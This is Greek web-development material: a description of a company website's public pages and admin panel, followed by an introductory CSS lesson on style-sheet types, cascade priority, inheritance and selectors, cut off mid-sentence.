Header Το Header περιέχει το λογότυπο της ιστοσελίδας μαζί με την κεντρική εικόνα της επιχείρησης. Μέσα σ’ αυτό βρίσκονται τα κουμπιά που παραπέμπουν στην ελληνική και αγγλική έκδοση των σελίδων της επιχείρησης. Top Menu Το top menu αποτελείτε από τα εξής κουμπιά που παραπέμπουν στις αντίστοιχες υποσελίδες: Αρχική, Εταιρία, Προϊόντα, Επικοινωνία. Αρχική: μας πηγαίνει στην κεντρική μας σελίδα. Εταιρία: μας πηγαίνει στο προφίλ της εταιρίας. Προϊόντα: είναι ένα menu που μας επιτρέπει να διαλέξουμε βάση ποιας κατηγορίας θέλουμε να δούμε τα προϊόντα της επιχείρησης και να μας μεταφέρει στις περιγραφές των αντίστοιχων προϊόντων καθώς και στο να δούμε τους καταλόγους των προϊόντων σε μορφή Flip-book ή να τους κάνουμε download σε μορφή pdf . παράδειγμα προιόντων Επικοινωνία: εδώ έχουμε μία φόρμα επικοινωνίας για να μπορεί ο πελάτης, είτε να δώσει κάποια παραγγελία, είτε να ρωτήσει οποιαδήποτε απορία στον υπεύθυνο της επιχείρησης. Έχουμε κάποια στοιχεία για την επιχείρηση (τηλέφωνα επικοινωνίας , φαξ, διεύθυνση επιχείρησης και ώρες λειτουργίας) και τέλος ένα χάρτη για το που βρίσκετaι η επιχείρηση, με δυνατότητα επιλογής εφόσον δοθεί η διεύθυνση που βρίσκετε ο πελάτης να του εμφανίσει

στο χάρτη τη διαδρομή που πρέπει να ακολουθήσει, ώστε να πάει εκεί που εδρεύει η επιχείρηση. SlideShow Κάτω από το header υπάρχει ένα slideshow όπου εμφανίζονται όλες οι κατηγορίες με τα προιόντα της εταιρίας για προώθηση και διαφήμιση τους .Μέσω αυτού του slideshow μπορούμε πάλι να μεταφερθούμε στην κατηγορία του προΐόντος που θα επιλέξουμε, είτε κάνοντας κλικ στο όνομα της κατηγορίας που θέλουμε, είτε κάνοντας κλικ στις θολές μικρογραφίες των προΐόντων οι οποίες φωτίζονται μόλις πάει ο κέρσορας πάνω τους Footer Τέλος, στο κάτω μέρος της ιστοσελίδας μας βλέπουμε στοιχεία και πληροφορίες της επιχείρησης (Διεύθυνση, τηλέφωνο, φαξ και email). Περιοχή Διαχείρισης (Administrator) Εκτός όμως από την σελίδα που βλέπει ο πελάτης, υπάρχει και το User Interface του υπευθύνου της επιχείρησης για να μπορεί να διαχειριστεί την ιστοσελίδα του. Εφόσον λοιπόν ο διαχειριστής δώσει τα στοιχεία που του ζητούνται, μπορεί να μπει στην διαχείριση, από όπου μπορεί να προσθέσει/αφαιρέσει κατηγορίες στο Top Menu, να προσθέσει/αφαιρέσει υποκατηγορίες στην κατηγορία προΐόντων , και να προσθέσει ή να αφαιρέσει κείμενα , φωτογραφίες και καταλόγους Από το μενού “Κατηγορίες” και επιλέγοντας “Προβολή Κατηγοριών” έχουμε την δυνατότητα να δούμε και να επεξεργαστούμε τις κατηγορίες που έχουμε δημιουργήσει για το Top Menu της ιστοσελίδας μας, καθώς επίσης και να αλλάξουμε την σειρά με την οποία θα εμφανίζονται. Από το μενού “Κατηγορίες” και επιλέγοντας “Εισαγωγή Κατηγοριών” έχουμε την δυνατότητα να προσθέσουμε νέες κατηγορίες για το Top Menu της ιστοσελίδας μας, καθώς επίσης και να ορίσουμε την σειρά με την οποία θα εμφανίζονται Από το μενού “Υποκατηγορίες” και επιλέγοντας “Προβολή Υποκατηγοριών” έχουμε την δυνατότητα να δούμε και να επεξεργαστούμε τις υποκατηγορίες που έχουμε δημιουργήσει στις κατηγορίες του Top Menu της ιστοσελίδας μας, καθώς επίσης και να αλλάξουμε την σειρά με την οποία θα εμφανίζονται

Από το μενού “Υποκατηγορίες” και επιλέγοντας “Εισαγωγή Υποκατηγοριών” έχουμε την δυνατότητα να προσθέσουμε νέες υποκατηγορίες στις κατηγορίες του Top Menu της ιστοσελίδας μας, καθώς επίσης και να ορίσουμε την σειρά με την οποία θα εμφανίζονται. Από το μενού “Κείμενα” και επιλέγοντας “Προβολή Κειμένων” έχουμε την δυνατότητα να δούμε και να επεξεργαστούμε τα κείμενα ,τις φωτογραφίες , τα pdf και τα flip-book των υποκατηγοριών των κατηγοριών του Top Menu της ιστοσελίδας μας

Eκπαιδευτική Υποενότητα 5.4 Εισαγωγή στο CSS Η χρήση της γλώσσας CSS προσφέρει μεγάλη ευελιξία και πολλά άλλα πλεονεκτήματα έναντι της μορφοποίησης μέσω HTML ιδιοτήτων (attributes). Το συγκεκριμένο κεφάλαιο θα εστιάσει αρχικά στη δομή των βασικών κανόνων σύνταξης της CSS, καθώς και στον τρόπο χρήσης των κανόνων αυτών για τη μορφοποίηση μιας ιστοσελίδας. Το ακρωνύμιο CSS σημαίνει Cascading Style Sheets (ή στα ελληνικά Διαδοχικά Φύλλα Στυλ). Όπως έχει ήδη αναφερθεί στην ενότητα για την HTML, κάθε HTML στοιχείο έχει ένα προκαθορισμένο στυλ. Η αλλαγή του προκαθορισμένου στυλ ενός HTML στοιχείου γίνεται μέσω του style attribute. Αυτός ο τρόπος αλλαγής του στυλ (δηλαδή μέσω της χρήσης του style attribute των στοιχείων HTML) ονομάζεται inline. Η αλλαγή στυλ μπορεί να γίνει με ακόμα δύο τρόπους: τον internal τρόπο (χρησιμοποιώντας, δηλαδή, ένα <style> element στο κομμάτι <head> του HTML εγγράφου, όπου δηλώνονται τα επιθυμητά στυλ των στοιχείων του HTML εγγράφου, ή με τον external τρόπο) χρησιμοποιώντας, δηλαδή, ένα ή περισσότερα εξωτερικά (external) Style Sheets τα οποία αποθηκεύονται σε αρχεία CSS. Η χρήση εξωτερικών αρχείων CSS είναι ο πιο συνηθισμένος και ο προτεινόμενος τρόπος για αλλαγή του στυλ μιας ιστοσελίδας. Το CSS είναι μια απλή style sheet γλώσσα η οποία περιγράφει την εμφάνιση και τη μορφοποίηση ενός εγγράφου το οποίο έχει γραφεί με χρήση γλώσσας σήμανσης. Μπορεί να χρησιμοποιηθεί σε κάθε είδους αρχείου XML, όπως plain XML και SVG. Η πιο συχνή χρήση του είναι για την αλλαγή του στυλ ιστοσελίδων γραμμένων σε HTML. Μαζί με την HTML και την JavaScript, το CSS αποτελεί βασική τεχνολογία που χρησιμοποιείται κατά κόρον σήμερα για τη δημιουργία ιστοσελίδων και διεπαφών χρήστη για web και mobile applications.

Η χρήση CSS δίνει στο σχεδιαστή/ προγραμματιστή τη δυνατότητα να διαχωρίσει τις οδηγίες σχετικά με το πώς θα εμφανίζονται τα διάφορα στοιχεία στην ιστοσελίδα σε ένα ξεχωριστό αρχείο ή σε μια ενότητα του εγγράφου HTML. Έτσι, διατηρώντας τις οδηγίες στυλ σε εξωτερικά .css αρχεία, μπορεί να αλλάξει με πολύ εύκολο τρόπο την εμφάνιση πολλών ιστοσελίδων, γλιτώνοντας κόπο και χρόνο. Η χρήση CSS δίνει στο σχεδιαστή/ προγραμματιστή τη δυνατότητα να διαχωρίσει τις οδηγίες σχετικά με το πώς θα εμφανίζονται τα διάφορα στοιχεία στην ιστοσελίδα σε ένα ξεχωριστό αρχείο ή σε μια ενότητα του εγγράφου HTML. Έτσι, διατηρώντας τις οδηγίες στυλ σε εξωτερικά .css αρχεία, μπορεί να αλλάξει με πολύ εύκολο τρόπο την εμφάνιση πολλών ιστοσελίδων, γλιτώνοντας κόπο και χρόνο.

Επιπλέον, οι στυλιστικές απαιτήσεις στη δημιουργία ιστοσελίδων αυξάνονταν, καθιστώντας τη δημιουργία τους με HTML όχι μόνο δύσκολες στο να γραφούν, αλλά και να συντηρηθούν. Το τελικό αποτέλεσμα ήταν να μην υπάρχει συνέπεια στην εμφάνιση των ιστοσελίδων, καθώς εξαρτιόνταν από τις δυνατότητες των περιηγητών. Για το λόγο αυτό, το World Wide Web Consortium (W3C) δημιούργησε το CSS, με στόχο το διαχωρισμό όλης της μορφοποίησης από το HTML έγγραφο, και την αποθήκευσή του σε ένα ξεχωριστό αρχείο CSS. Συνεπώς, το CSS: •

Καθορίζει το επίπεδο παρουσίασης (presentation layer) της διεπαφής χρήστη

•

Ορίζει στον περιηγητή το πώς πρέπει να παρουσιαστεί το κάθε στοιχείο στην οθόνη του χρήστη.

Ιστορικά στοιχεία 1. Τα style sheets υπήρχαν με διάφορες μορφές από τις απαρχές της SGML (Standard Generalized Markup Language) τη δεκαετία του 1980. Όσον αφορά όμως στη χρήση τους για τον Παγκόσμιο Ιστό, τέθηκε η απαίτηση να μπορούν να χρησιμοποιηθούν style sheets προερχόμενα από διαφορετικές πηγές. Έτσι, οι ήδη υπάρχουσες style sheet γλώσσες (π.χ. DSSSL, FOSI) κρίθηκαν ακατάλληλες. 2. Το CSS προτάθηκε για πρώτη φορά το 1994 από τον Håkon Wium Lie, συνεργάτη του Tim Berners Lee στο CERN. Την ίδια περίοδο εξετάζονταν κι άλλες style sheet languages για τον Παγκόσμιο Ιστό. Προτάθηκαν 9 διαφορετικές style sheet languages στο W3C, από τις οποίες επιλέχθηκαν δύο ως βάση για το CSS, το CHSS και το SSP. Μετά από συζητήσεις, προέκυψε το 1996 η πρώτη W3C Recommendation για το CSS (CSS1). Συν-συγγραφέας του CSS1 και συν-δημιουργός του CSS θεωρείται ο Bert Bos. 3. To CSS επιτρέπει να επηρεάζεται το στυλ ενός εγγράφου από πολλαπλά style sheets («cascading»). Κάποιες από τις δυνατότητες που παρείχε η CSS1 προδιαγραφή ήταν: • Υποστήριξη ιδιοτήτων γραμματοσειράς. • Προσδιορισμός χρώματος γραμματοσειράς, φόντου και άλλων στοιχείων. • Διευθέτηση στοίχισης γραμματοσειράς, εικόνων, πινάκων, κ.λπ. 4. Η προδιαγραφή του CSS1 ολοκληρώθηκε το 1996. Εκείνον το χρόνο κυκλοφόρησε ο περιηγητής ιστοσελίδων Internet Explorer 3 της Microsoft, ο οποίος υποστήριζε σε μικρό βαθμό το CSS. 5. Παρόλα αυτά, χρειάστηκε να περάσουν πάνω από τρία χρόνια ώσπου κάποιος περιηγητής ιστοσελίδων να υποστηρίζει (σχεδόν) πλήρως την προδιαγραφή. Έως τον Αύγουστο του 2010 κανένας περιηγητής δεν είχε πλήρη υποστήριξη του CSS2, το οποίο είχε δημιουργηθεί το Νοέμβριο του 1997 και δημοσιευτεί ως W3C Recommendation το

Μάιο του 1998. Επιπλέον, καθώς ο βαθμός υποστήριξης διέφερε σε κάθε περιηγητή, οι σχεδιαστές/ προγραμ-ματιστές κατέφευγαν συχνά σε CSS hacks (τεχνάσματα), filters (φίλτρα) και workarounds (παρακάμψεις), ώστε να αντιμετωπίσουν ασυμβατότητες και την πιθανή διαφορετική εμφάνιση των ιστοσελίδων ανάλογα με τους περιηγητές και τις πλατφόρμες. Για το λόγο αυτό, το W3C ξεκίνησε την αναθεώρηση της προδιαγραφής CSS2 και τη δημιουργία της προδιαγραφής CSS 2.1. Κάποιες ιδιότητες που δεν υποστηρίζονταν από περιηγητές καταργήθηκαν, και άλλαξαν κάποιες καθορισμένες συμπεριφορές. Η δημιουργία της CSS3 προδιαγραφής άρχισε το 1998 και είναι υπό ανάπτυξη. Ενώ η CSS2 είναι μια μεγάλη προδιαγραφή η οποία ορίζει διάφορα χαρακτηριστικά, η CSS3 χωρίζεται σε πολλά ξεχωριστά αρχεία («modules»). Κάθε ένα από αυτά τα modules προσθέτει ή επεκτείνει χαρακτηριστικά ήδη ορισμένα στην CSS2, διατηρώντας έτσι συμβατότητα «προς τα πίσω» (backwards compatibility). Ποια πλεονεκτήματα έχει η χρήση CSS έναντι της μορφοποίησης μέσω HTML attributes? 1. Μεγαλύτερη ευελιξία, καλύτερα αποτελέσματα: με χρήση του CSS είναι πλέον δυνατές μορφοποιήσεις δύσκολες ή αδύνατες με χρήση μόνο HTML. 2. Γρηγορότερες ιστοσελίδες: χρησιμοποιώντας εξωτερικό αρχείο HTML, o περιηγητής το αποθηκεύει στη μνήμη cache την πρώτη φορά που φορτώνει κάποια ιστοσελίδα ενός ιστοτόπου, οπότε δε χρειάζεται να το κατεβάζει κάθε φορά που ο χρήστης επισκέπτεται μια ιστοσελίδα του ιστοτόπου. 3. Η συντήρηση αλλά και η διαμοίραση των ιστοσελίδων είναι πλέον πολύ ευκολότερη, καθώς η εμφάνιση μιας ολόκληρης ιστοσελίδας μπορεί να ελέγχεται από ένα ή περισσότερα εξωτερικά αρχεία CSS. Σε περίπτωση που ο σχεδιαστής της ιστοσελίδας θέλει να αλλάξει κάτι στην εμφάνιση κάποιου στοιχείου, αρκεί να αλλάξει το αρχείο CSS. Αυτό είναι ιδιαίτερα χρήσιμο στην περίπτωση που πρέπει να γίνει αλλαγή ενός στοιχείου που υπάρχει σε διάφορα σημεία στην ιστοσελίδα, καθώς χρειάζεται πλέον μια μόνο αλλαγή στο CSS. 4. Ο κώδικας HTML είναι πλέον λιγότερο πολύπλοκος, πιο ευανάγνωστος και συντομότερος, δεδομένου ότι οι κανόνες μορφοποίησης γράφονται μόνο μια φορά και εφαρμόζονται με ιεραρχικό τρόπο («precedence rules»). 5. Ο σχεδιαστής της ιστοσελίδας έχει μεγαλύτερο έλεγχο όσον αφορά στο στυλ της ιστοσελίδας, ενώ μπορεί να χρησιμοποιεί πολλαπλά CSS αρχεία για μια ιστοσελίδα.

Τι ονομάζουμε cascade Ο όρος «Cascade» ουσιαστικά αναφέρεται στο συνδυασμό: •

Των προκαθορισμένων στυλ του περιηγητή.

•

Των εξωτερικών style sheets.

•

Των inline, internal (ή embedded) και user-defined styles.

Στο CSS επιτρέπεται τα στοιχεία να κληρονομούν στυλ από στοιχεία - γονείς. Ένα στοιχείο παιδί κληρονομεί το στυλ του από το στοιχείο - γονέα, εκτός κι αν οριστεί ένα συγκεκριμένο στυλ για το στοιχείο - παιδί. Έτσι, μειώνεται το CSS που πρέπει να γραφεί για τα στοιχεία παιδιά. Το «Cascade» ορίζει ότι κάθε ξεχωριστό στυλ έχει διαφορετική προτεραιότητα η οποία επηρεάζει την κληρονομικότητα του CSS. Τα στυλ μπορούν να ταξινομηθούν ως προς την προτεραιότητά τους σε φθίνουσα σειρά, ως εξής: •

Inline styles

•

Internal styles

•

External style sheet

•

Browser default

•

…σε ένα style sheet

Χρήση των Style Sheets 1. Internal Styles: Χρησιμοποιείται στην περίπτωση που μία μόνο ιστοσελίδα ενός ιστοτόπου έχει διαφορετικό στυλ από τις υπόλοιπες σελίδες. Μπορεί, έτσι, ο σχεδιαστής της ιστοσελίδας να εφαρμόσει κάποιους κανόνες CSS μόνο στη συγκεκριμένη ιστοσελίδα ή να τροποποιήσει τους υπάρχοντες κανόνες CSS του ιστοτόπου. Ορίζεται στο κομμάτι «head» της ιστοσελίδας, μέσα στην ετικέτα <style>. 2. Inline Styles: Το inline style ενός μόνο στοιχείου ορίζεται μέσω της ιδιότητας «style» της σχετικής ετικέτας. Χρησιμοποιείται όταν στόχος είναι η μορφοποίηση ενός μόνο στοιχείου της ιστοσελίδας και η εν λόγω μορφοποίηση δε θα χρειαστεί για κάτι άλλο στην ιστοσελίδα. Για παράδειγμα, στον ακόλουθο κώδικα ορίζεται ότι το μέγεθος της γραμματοσειράς στη συγκεκριμένη παράγραφο είναι 12px: 3. External Style Sheet: Ιδανικό για εφαρμογή του στυλ σε πολλές σελίδες. Κάθε ιστοσελίδα θα πρέπει να συμπεριλαμβάνει έναν σύνδεσμο προς το style sheet. Αυτό γίνεται με χρήση

της ετικέτας <link>, η οποία πρέπει να είναι στο κομμάτι «head» της ιστοσελίδας. Αποτελεί τη σωστότερη χρήση CSS. Παράδειγμα χρήσης: 4. Το αρχείο style.css μπορεί να γραφεί σε οποιονδήποτε text editor. Πρέπει να μην περιέχει ετικέτες HTML και να αποθηκευθεί με κατάληξη «.css». Παραδείγματος χάρη, μπορεί να είναι το παρακάτω 5. Μπορεί, επίσης, να γίνεται αναφορά σε πολλαπλά external style sheets στο ίδιο HTML έγγραφο. Μεγαλύτερη προτεραιότητα έχει αυτό που έχει γραφεί τελευταίο. Προκύπτει, λοιπόν, εύλογα το ερώτημα: ποιό στυλ θα χρησιμοποιηθεί εάν ορίζονται περισσότερα από ένα στυλ για κάποιο HTML στοιχείο; Όπως αναφέρθηκε προηγουμένως, κάθε τύπος style έχει διαφορετική προτεραιότητα. Μεγαλύτερη προτεραιότητα έχουν τα inline styles (μέσα σε ετικέτα στοιχείου HTML), οπότε θα παρακάμψει (override) το style που ορίζεται στην ετικέτα <head> (internal style). Έπειτα, θα παρακάμψει το style που ορίζεται σε external style sheets, αλλά και στο προκαθορισμένο στυλ του περιηγητή (default). Δέντρο εγγράφου (Document Tree)

Κάθε HTML και XHTML έγγραφο είναι ένα Document Tree. Όταν ο περιηγητής φορτώνει μια ιστοσελίδα, δημιουργεί το λεγόμενο «Document Object Model» της ιστοσελίδας, το οποίο κατασκευάζεται ως δέντρο από αντικείμενα. Στο παράδειγμα της διαφάνειας αναλύεται η δομή ενός Document Tree.

Κληρονομικότητα

Κάθε HTML και XHTML έγγραφο είναι ένα Document Tree. Όταν ο περιηγητής φορτώνει μια ιστοσελίδα, δημιουργεί το λεγόμενο «Document Object Model» της ιστοσελίδας, το οποίο κατασκευάζεται ως δέντρο από αντικείμενα. Στην HTML, κάθε στοιχείο θεωρείται απόγονος (descendant) κάποιου άλλου στοιχείου, επιτρέποντάς το να κληρονομεί ιδιότητες από το στοιχείο γονέα

κάθε απόγονος μπορεί να έχει και δικούς του απογόνους, εκτός και αν πρόκειται για στοιχεία με κενές ετικέτες, όπως το img. Έτσι, διαμορφώνεται μια ιεραρχία, η οποία αποτελεί το DOM Tree (Document Object Model tree). Αναφερθήκαμε στο Document Tree προηγουμένως.

Βασικοί κανόνες σύνταξης Σχόλια Αν και η ανάγκη για σχόλια στο CSS δεν είναι τόσο επιτακτική όσο σε γλώσσες προγραμματισμού, μπορούμε να εισάγουμε σχόλια μέσα σε /*...*/ Παράδειγμα: /* Αυτό είναι ένα σχόλιο */ CSS rules Ένας «κανόνας» CSS αποτελείται από 2 μέρη: Τον επιλογέα (CSS selector) ο οποίος αφορά το ΤΙ θα μορφοποιηθεί και τις ιδιότητες (CSS properties) οι οποίες αφορούν το ΠΩΣ αυτό θα μορφοποιηθεί. Η σύνταξη είναι η εξής: επιλογέας { ιδιότητα1: τιμή1; ιδιότητα2: τιμή2; ιδιότητα3: τιμή3; ... }

Απλοί επιλογείς CSS (CSS selectors) Επιλέγουμε ποια στοιχεία θα μορφοποιήσουμε μέσω των επιλογέων CSS (CSS selectors), οι οποίοι ουσιαστικά αποτελούν κάποιους «κανόνες» ώστε να καταλάβει ο browser που θέλουμε να εφαρμοστούν τα όσα γράφουμε κάθε φορά. Υπάρχουν αρκετά περίπλοκοι CSS selectors στο specification του CSS, οι οποίοι προσφέρουν τεράστια ευελιξία,ωστόσο εδώ θα εξετάσουμε τους πιο βασικούς, και για λόγους απλούστευσης, και επειδή αρκετοί από τους πιο περίπλοκους δεν υποστηρίζονται από όλους τους browsers.

* Όταν ο επιλογέας είναι ένας χαρακτήρας αστερίσκου, τότε οι ιδιότητες που θα γράψουμε σε αυτόν τον κανόνα CSS εφαρμόζονται σε κάθε στοιχείο της σελίδας μας. Όπως είναι κατανοητό, συνήθως δεν είναι και πολύ χρήσιμος επιλογέας από μόνος του, και χρησιμοποιείται κυρίως σε συνδυασμό με άλλους. στοιχείο Όταν ο επιλογέας αποτελείται απλά από το όνομα ενός html tag, τότε οι ιδιότητες που θα γράψουμε σε αυτόν τον κανόνα CSS εφαρμόζονται σε κάθε τέτοιο στοιχείο html. Για παράδειγμα, ο επιλογέας p θα εφαρμοστεί σε οτιδήποτε στη σελίδα μας περιλαμβάνεται εντός των tags <p>...</p>, ο επιλογέας table θα εφαρμοστεί σε όλους τους πίνακες στη σελίδα μας, ο επιλογέας img θα αφορά όλες τις εικόνες στη σελίδα κοκ. Προφανώς όταν θέλουμε να εφαρμόσουμε κάποιες ιδιότητες CSS σε ολόκληρη τη σελίδα, χρησιμοποιούμε ως επιλογέα body μιας και όλο το ορατό τμήμα της σελίδας περιέχεται εντός των tags <body>...</body>. .όνομα_κλάσης Όταν ο επιλογέας μας περιλαμβάνει μια τελεία (.) στην αρχή του, τότε ο browser ψάχνει όσα στοιχεία στη σελίδα μας περιλαμβάνουν την ιδιότητα class και εφαρμόζει τις ιδιότητες που θα γράψουμε στον κανόνα CSS αυτό σε οποιοδήποτε στοιχείο περιλαμβάνει την κλάση «όνομα_κλάσης» στην ιδιότητα class του. Φυσικά ως όνομα_κλάσης μπορούμε να γράψουμε οτιδήποτε αποτελείται από γράμματα, αριθμούς, παύλες και χαρακτήρες underscore (_) και να ξεκινάει με γράμμα. Αξίζει να σημειωθεί ότι μπορεί το ίδιο στοιχείο να ανήκει σε περισσότερες από μια κλάσεις, διαχωρισμένες με κενά μέσα στην class html attribute του. Πχ <p class=”emphasis bodytext”>...</p>. Για παράδειγμα, ο παρακάτω κανόνας CSS: .emphasis { color: red; } θα κάνει κόκκινα τα γράμματα και στο στοιχείο <p class=”emphasis>blah blah</p>, και στο στοιχείο <div class=”emphasis otherclass”>blah blah</div>αλλά όχι στο στοιχείο <h1 class=”otherclass”>blah blah</h1>.

Οι κλάσεις γενικά χρησιμοποιούνται όταν θέλουμε να ομαδοποιήσουμε κάποια στοιχεία html για τα οποία δεν μπορούμε να βρούμε κάποιον άλλο επιλογέα που να αφορά όλα αυτά και μόνον αυτά, οπότε τους προσδίδουμε μια συγκεκριμένη κλάση, ώστε να μπορούμε στο CSS μας να αναφερθούμε μόνο σε αυτά και να τα μορφοποιήσουμε. στοιχείο.όνομα_κλάσης Αποτελεί ουσιαστικά συνδυασμό των δύο παραπάνω επιλογέων. Εφαρμόζεται σε όσα στοιχεία αποτελούνται από το html tag <στοιχείο> και ανήκουν στην κλάση όνομα_κλάσης. Πχ ο επιλογέας p.emphasis εφαρμόζεται σε ο,τι περιέχεται σε tags της μορφής <p class=”emphasis”>...</p>. Ο επιλογέας αυτός είναι χρήσιμος όταν έχουμε πολλά διαφορετικού τύπου στοιχεία με την ίδια κλάση και επιθυμούμε να εφαρμόσουμε διαφορετική μορφοποίηση ανάλογα με τον τύπο του στοιχείου. #όνομα_id Όταν ο επιλογέας μας περιλαμβάνει ένα χαρακτήρα δίεσης (#) στην αρχή του, τότε ο browser εφαρμόζει τις ιδιότητες που θα γράψουμε στο στοιχείο το οποίο περιλαμβάνει την ιδιότητα id=”όνομα_id”. Δεν πρέπει να υπάρχουν δύο (ή περισσότερα) στοιχεία στη σελίδα μας με το ίδιο id. Τα ids διέπονται από τους ίδιους κανόνες ονοματολογίας με τις κλάσεις. Ουσιαστικά, ο,τι μπορούμε να κάνουμε με τα ids μπορούμε να το κάνουμε και με τη χρήση κλάσεων, απλά όταν το στοιχείο που θέλουμε να μορφοποιήσουμε είναι μοναδικό, είναι γενικά καλύτερο να χρησιμοποιούμε ids. στοιχείο[attribute=”value”] Αποτελεί ουσιαστικά μια «επέκταση» του επιλογέα στοιχείο που αναλύθηκε πρώτος. Ο εν λόγω επιλογέας, κάνει τον browser να εφαρμόζει τις ιδιότητες που θα γράψουμε σε αυτόν σε κάθε στοιχείο με tag <στοιχείο> το οποίο επιπροσθέτως έχει την τιμή value στην html ιδιότητα attribute. Παραδείγματος χάριν, ο επιλογέας input[type=”submit”] αφορά όλα τα κουμπιά υποβολής φόρμας που υπάρχουν στη σελίδα μας, χωρίς ωστόσο να εφαρμόζεται σε άλλα στοιχεία φορμών όπως τα πεδία κειμένου (στα οποία η ιδιότητα type είναι text). Άλλο ένα παράδειγμα: Έστω ότι θέλουμε να μορφοποιήσουμε μόνο όσους πίνακες στη σελίδα μας είναι κεντραρισμένοι. Αν χρησιμοποιούσαμε ως επιλογέα table, τότε οι ιδιότητες που θα γράφαμε σε αυτόν τον επιλογέα θα εφαρμόζονταν σε όλους τους πίνακες ανεξαιρέτως. Ενώ αν χρησιμοποιήσουμε τον επιλογέα table[align=”center”] τότε ο κανόνας CSS που θα γράψουμε θα εφαρμοστεί μόνο σε όσους πίνακες έχουν την ιδιότητα align=”center”. Ψευδό-κλάσεις και ψευδό-στοιχεία

Ορισμένες φορές χρησιμοποιούμε τις λεγόμενες ψευδό-κλάσεις (pseudo-classes) ή ψευδόστοιχεία (pseudo-elements), τα οποία μας επιτρέπουν να επιλέγουμε στοιχεία τα οποία δεν αποτελούν html elements, αλλά κομμάτια τους ή συγκεκριμένες καταστάσεις τους. Ουσιαστικά αποτελούν κάποιες λέξεις-κλειδιά που γράφουμε μετά από έναν επιλογέα του τύπου στοιχείο και ξεκινούν με :. Αν όλα αυτά σας ακούγονται κάπως μπερδεμένα ή δυσνόητα, μην προβληματίζεστε, θα γίνουν πιο κατανοητά όταν εξετάσουμε τις συγκεκριμένες ψευδό-κλάσεις/στοιχεία που χρησιμοποιούνται συνηθέστερα παρακάτω.

a:link Χρησιμοποιείται αποκλειστικά για στοιχεία a (Δηλαδή ως εξής: a:link) και αφορά τους συνδέσμους που ο χρήστης δεν έχει ακόμη επισκεφθεί. a:visited Επίσης χρησιμοποιείται αποκλειστικά για στοιχεία a (Δηλαδή ως εξής: a:visited) και αφορά τους συνδέσμους που ο χρήστης έχει επισκεφθεί. στοιχείο:active Αφορά τα στοιχεία τύπου <στοιχείο> τη στιγμή που ο χρήστης έχει πατημένο το ποντίκι πάνω σε αυτά. Πχ ο επιλογέας a:active εφαρμόζεται σε συνδέσμους την ώρα που ο χρήστης έχει πατημένο το ποντίκι πάνω τους. στοιχείο:hover Από τις πιο συχνά χρησιμοποιούμενες ψευδό-κλάσεις. Αφορά τα στοιχεία τύπου <στοιχείο> τη στιγμή που ο χρήστης έχει το δείκτη του ποντικιού πάνω σε κάποιο από αυτά (χωρίς να

πατάει κάποιο πλήκτρο). Μπορεί να μας βοηθήσει να δημιουργήσουμε διάφορα όμορφα εφέ, τα οποία παλιότερα ήταν εφικτά μόνο με javascript. στοιχείο:focus Χρησιμοποιείται κυρίως για στοιχεία φορμών και εφαρμόζεται στα στοιχεία τύπου <στοιχείο> που εκείνη τη στιγμή έχουν «focus», παραδείγματος χάριν, ένα πεδίο κειμένου στο οποίο ο χρήστης έκανε κλικ για να εισάγει κείμενο. στοιχείο:first-letter Αφορά το πρώτο γράμμα του κειμένου εντός κάποιου στοιχείου τύπου <στοιχείο>. Το ψευδόστοιχείο αυτό μπορεί να μας βοηθήσει να δημιουργήσουμε αρχιγράμματα. Πχ ο επιλογέας p:first-letter αφορά το πρώτο γράμμα κάθε παραγράφου. στοιχείο:first-line Ψευδό-στοιχείο παρόμοιο με το παραπάνω, μόνο που αντί να αφορά μόνο το πρώτο γράμμα του κειμένου μέσα στο στοιχείο τύπου <στοιχείο>, αφορά ολόκληρη την πρώτη γραμμή. Αν και δεν έχει ιδιαίτερη πρακτική χρησιμότητα, αξίζει να σημειωθεί ότι τα 5 πρώτα θεωρούνται ψευδό-κλάσεις (pseudo-classes) ενώ τα 2 τελευταία ψευδό-στοιχεία (pseudoelements).

Σύνθετοι επιλογείς CSS (CSS selectors) Πολλές φορές μπορούμε να συνδυάσουμε σε έναν επιλογέα περισσότερους από έναν υπόεπιλογείς, βάσει συγκεκριμένων κανόνων σύνταξης, κάτι που μας προσφέρει μεγαλύτερη ευελιξία και εξοικονόμηση χρόνου. Οι πιο βασικοί και συχνά χρησιμοποιούμενοι τρόποι συνδυασμού επιλογέων παρουσιάζονται παρακάτω: επιλογέας1, επιλογέας2, επιλογέας3, ... Οι ιδιότητες που θα γράψουμε σε αυτόν τον κανόνα CSS, θα εφαρμοστούν σε κάθε στοιχείο που πληροί τις προϋποθέσεις επιλογής είτε για τον επιλογέα1, είτε για τον επιλογέα2, είτε για τον επιλογέα3 κοκ. Παραδείγματος χάριν, ο επιλογέας input[type=”text”], textarea θα εφαρμοστεί σε κάθε πεδίο κειμένου που υπάρχει στη σελίδα μας, είτε είναι για εισαγωγή κειμένου

μιας

γραμμής

(<textarea></textarea>).

(<input

type=”text”

/>)

είτε

είναι

πολλών

γραμμών

επιλογέας1 επιλογέας2 επιλογέας3 ... επιλογέαςn Οι ιδιότητες που θα γράψουμε σε αυτόν τον κανόνα CSS θα εφαρμοστούν σε στοιχεία που πληρούν τις προϋποθέσεις του επιλογέαn και επιπροσθέτως περιέχονται μέσα σε κάποιο στοιχείο που πληροί τις προϋποθέσεις του επιλογέαn-1 το οποίο βρίσκεται μέσα σε κάποιο στοιχείο που πληροί τις προϋποθέσεις του επιλογέαn-2 κοκ. Παραδείγματος χάριν ο επιλογέας p img θα εφαρμοστεί σε όσες εικόνες περιέχονται μέσα σε tags <p>...</p>. Πως εισάγουμε CSS στη σελίδα μας; Μπορούμε να εισάγουμε CSS στη σελίδα μας με τρεις διαφορετικούς τρόπους, αναλόγως την περίπτωση. Οι τρόποι αυτοί, κατά σειρά φθίνουσα προτεραιότητας, είναι: • Inline CSS: Αν επιθυμούμε να μορφοποιήσουμε ένα στοιχείο μόνο, και δεν πρόκειται να χρειαστούμε αυτό το είδος μορφοποίησης για τίποτε άλλο στο site, μπορούμε να γράψουμε «χύμα» (δηλ. χωρίς το κομμάτι του CSS selector και χωρίς αγκύλες) CSS properties μέσα στο attribute style, το οποίο το διαθέτει σχεδόν κάθε στοιχείο html. Παραδείγματος χάριν, για να κάνουμε μια συγκεκριμένη παράγραφο κόκκινη, μπορούμε να προσθέσουμε style=”color:red;” στο <p> tag (ολοκληρωμένα: <p style=”color:red;”>). Αξίζει να σημειωθεί, ότι αν κάποιες από τις ιδιότητες που θα γράψουμε εντός της attribute style ενός στοιχείου «συγκρούονται» με κανόνες CSS που έχουν οριστεί για αυτό αλλού και το αφορούν, τότε ο browser θα επιλέξει να εφαρμόσει αυτά που γράψαμε εντός του attribute style, ως πιο συγκεκριμένα για το 